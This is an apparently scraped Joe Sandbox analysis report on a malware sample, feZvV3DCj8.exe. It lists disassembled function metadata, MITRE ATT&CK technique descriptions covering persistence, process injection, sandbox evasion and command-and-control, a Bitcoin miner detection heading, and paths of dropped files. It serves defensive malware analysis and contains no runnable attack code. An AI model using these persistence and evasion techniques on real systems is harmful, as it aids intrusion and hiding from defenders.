_initterm.MSVCRT ref: 000000014000120F
SetUnhandledExceptionFilter.KERNEL32(?,?,?,0000000140001156), ref: 000000014000124E
malloc.MSVCRT ref: 000000014000127E
strlen.MSVCRT ref: 00000001400012A4
malloc.MSVCRT ref: 00000001400012B0
memcpy.MSVCRT ref: 00000001400012C3
_cexit.MSVCRT(?,?,?,0000000140001156), ref: 000000014000132D

Memory Dump Source

Source File: 00000025.00000002.3325952695.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000025.00000002.3325921532.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000025.00000002.3325974877.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000025.00000002.3325990886.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000025.00000002.3326007867.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_140000000_conhost.jbxd

Similarity

API ID: malloc$ExceptionFilterSleepUnhandled_amsg_exit_cexit_inittermmemcpystrlen
String ID:
API String ID: 2643109117-0
Opcode ID: 0826702d6560d8963aa6be3a9a2bca2e7c57e1532fe8f27e33951a1a52f0c01f
Instruction ID: de31f8ed3ddf153564bdd4405856fabd387a055f97d5097261988c330ce0911c
Opcode Fuzzy Hash: 0826702d6560d8963aa6be3a9a2bca2e7c57e1532fe8f27e33951a1a52f0c01f
Instruction Fuzzy Hash: 475113B1A11A4085FB16EF27F9947EA27A5BB8D7D0F449121FB4E873B2DE38C4958300

Function 0000000140001BA0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 106
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualQuery.KERNEL32(?,?,?,?,0000000140007C04,0000000140007C04,?,?,0000000140000000,?,0000000140001991), ref: 0000000140001C63
VirtualProtect.KERNEL32(?,?,?,?,0000000140007C04,0000000140007C04,?,?,0000000140000000,?,0000000140001991), ref: 0000000140001CC7
memcpy.MSVCRT ref: 0000000140001CE0
GetLastError.KERNEL32(?,?,?,?,0000000140007C04,0000000140007C04,?,?,0000000140000000,?,0000000140001991), ref: 0000000140001D23

Strings

VirtualProtect failed with code 0x%x, xrefs: 0000000140001D29
Address %p has no image-section, xrefs: 0000000140001CF4
VirtualQuery failed for %d bytes at address %p, xrefs: 0000000140001D17

Memory Dump Source

Source File: 00000025.00000002.3325952695.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000025.00000002.3325921532.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000025.00000002.3325974877.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000025.00000002.3325990886.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000025.00000002.3326007867.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_140000000_conhost.jbxd

Similarity

API ID: Virtual$ErrorLastProtectQuerymemcpy
String ID: VirtualProtect failed with code 0x%x$ VirtualQuery failed for %d bytes at address %p$Address %p has no image-section
API String ID: 2595394609-2123141913
Opcode ID: cdbb9d907875859e3f80f575495464bdaee28c88710b0bedc9e094766cfb12e3
Instruction ID: 16efa6a6843d59a014476df5568b7df2ebffa848eb0c274e9a4a04f444c9e124
Opcode Fuzzy Hash: cdbb9d907875859e3f80f575495464bdaee28c88710b0bedc9e094766cfb12e3
Instruction Fuzzy Hash: 8B4153F1601A4486FA22DF47F884BE927A0E78DBC4F544122EF0E877B1DA38C586C300

Function 0000000140002104 Relevance: 7.6, APIs: 5, Instructions: 51
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32 ref: 0000000140002118
TlsGetValue.KERNEL32 ref: 000000014000214F
GetLastError.KERNEL32 ref: 0000000140002154
LeaveCriticalSection.KERNEL32 ref: 0000000140002212
DeleteCriticalSection.KERNEL32 ref: 000000014000225D

Memory Dump Source

Source File: 00000025.00000002.3325952695.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000025.00000002.3325921532.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000025.00000002.3325974877.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000025.00000002.3325990886.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000025.00000002.3326007867.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_140000000_conhost.jbxd

Similarity

API ID: CriticalSection$DeleteEnterErrorLastLeaveValue
String ID:
API String ID: 926137887-0
Opcode ID: 3cf6fdcf877a2c463b1673d0d7d37342476749bfb961c2d74f3cd03d9e62891d
Instruction ID: 0e199cc0cf033006c356eea73698cd941ec16a166456d7ae25831b0cf903e09c
Opcode Fuzzy Hash: 3cf6fdcf877a2c463b1673d0d7d37342476749bfb961c2d74f3cd03d9e62891d
Instruction Fuzzy Hash: D321E0B1715A02D2FA5BEB53F9483E923A0B76CBD0F444421FB1A576B4DF7A8986C300

Function 0000000140001E10 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 77
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

CCG , xrefs: 0000000140001E27

Memory Dump Source

Source File: 00000025.00000002.3325952695.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000025.00000002.3325921532.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000025.00000002.3325974877.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000025.00000002.3325990886.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000025.00000002.3326007867.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_140000000_conhost.jbxd

Similarity

API ID:
String ID: CCG
API String ID: 0-1584390748
Opcode ID: 5280163379377ca6e44e0c5d2c698eb6079499830711fbae46cc424a6ca625e0
Instruction ID: a59ecfcda80627e887a2afd302da497d78ca087d7541c475695dc2e3193e6173
Opcode Fuzzy Hash: 5280163379377ca6e44e0c5d2c698eb6079499830711fbae46cc424a6ca625e0
Instruction Fuzzy Hash: 052159B1A0110642FA77DA1BB5943FA1182ABCD7E4F258635FF19473F9DE7C88828241

Function 0000000140001880 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 138
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0000000140001247), ref: 00000001400019F9

Strings

Unknown pseudo relocation protocol version %d., xrefs: 0000000140001B8B
Unknown pseudo relocation bit size %d., xrefs: 0000000140001B7B

Memory Dump Source

Source File: 00000025.00000002.3325952695.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000025.00000002.3325921532.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000025.00000002.3325974877.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000025.00000002.3325990886.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000025.00000002.3326007867.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_140000000_conhost.jbxd

Similarity

API ID: ProtectVirtual
String ID: Unknown pseudo relocation bit size %d.$ Unknown pseudo relocation protocol version %d.
API String ID: 544645111-395989641
Opcode ID: 3eb095557935172752f0c42cb9a03414d6f1cc8c641419fc4b235c5b65ea0db9
Instruction ID: 880ce9b900098d8e88b33aba92109972d092741ba7b51464eee9d571f7133d00
Opcode Fuzzy Hash: 3eb095557935172752f0c42cb9a03414d6f1cc8c641419fc4b235c5b65ea0db9
Instruction Fuzzy Hash: E45114B6B11544DAEB12CF67F840BE827A1A759BE8F548212FB1D077B4DB38C986C700

Function 0000000140001800 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 30
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

fprintf.MSVCRT ref: 000000014000185A

Strings

Unknown error, xrefs: 0000000140001824
_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 000000014000184D

Memory Dump Source

Source File: 00000025.00000002.3325952695.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000025.00000002.3325921532.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000025.00000002.3325974877.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000025.00000002.3325990886.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000025.00000002.3326007867.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_140000000_conhost.jbxd

Similarity

API ID: fprintf
String ID: Unknown error$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-3474627141
Opcode ID: b5717ce3617b469f524d5a4a977c465a2e3941e764333e1ecdac5e330ef02b4f
Instruction ID: 22fde9f0a61d81c45d0352baa9b4897200fbcb7987813caf25585494093de0dd
Opcode Fuzzy Hash: b5717ce3617b469f524d5a4a977c465a2e3941e764333e1ecdac5e330ef02b4f
Instruction Fuzzy Hash: 4BF09671A14A4482E612EF6AB9417ED6360E75D7C1F50D211FF4D576A5DF3CD182C310

Function 000000014000219E Relevance: 5.0, APIs: 4, Instructions: 34
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32 ref: 00000001400021B2
TlsGetValue.KERNEL32 ref: 00000001400021EB
GetLastError.KERNEL32 ref: 00000001400021F0
LeaveCriticalSection.KERNEL32 ref: 000000014000226C

Memory Dump Source

Source File: 00000025.00000002.3325952695.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000025.00000002.3325921532.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000025.00000002.3325974877.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000025.00000002.3325990886.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000025.00000002.3326007867.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_140000000_conhost.jbxd

Similarity

API ID: CriticalSection$EnterErrorLastLeaveValue
String ID:
API String ID: 682475483-0
Opcode ID: cfe5d0de1f15cf2fea71291f3d789f0cc0b44e62d3dc103620a81fc554713c6a
Instruction ID: 8a64a9037fcb0f8d448323bea24b37e1dc06a06277b74631a343a5268b32208f
Opcode Fuzzy Hash: cfe5d0de1f15cf2fea71291f3d789f0cc0b44e62d3dc103620a81fc554713c6a
Instruction Fuzzy Hash: 1901B2B6705A0192FA5BDB53FE083E86360B76CBD1F854021EF0953AB4DF79C996C200

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report feZvV3DCj8.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Change of critical system settings

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Bitcoin Miner

Compliance

Change of critical system settings

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\dwsvhengdbro\sujlgqpnxcwv.exe

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_13mn0dl1.ffp.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3plhlblf.ftt.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cwhtavis.0rj.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ohkkjxsv.uw5.psm1

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Windows\Temp\__PSScriptPolicyTest_1u1kgdpu.h23.psm1

C:\Windows\Temp\__PSScriptPolicyTest_3uqruvhq.oct.psm1

C:\Windows\Temp\__PSScriptPolicyTest_tmsybhah.s1v.ps1

C:\Windows\Temp\__PSScriptPolicyTest_xnro3nmk.ar0.ps1

C:\Windows\Temp\kwjarrnckong.sys

Static File Info

General

Windows Analysis Report
feZvV3DCj8.exe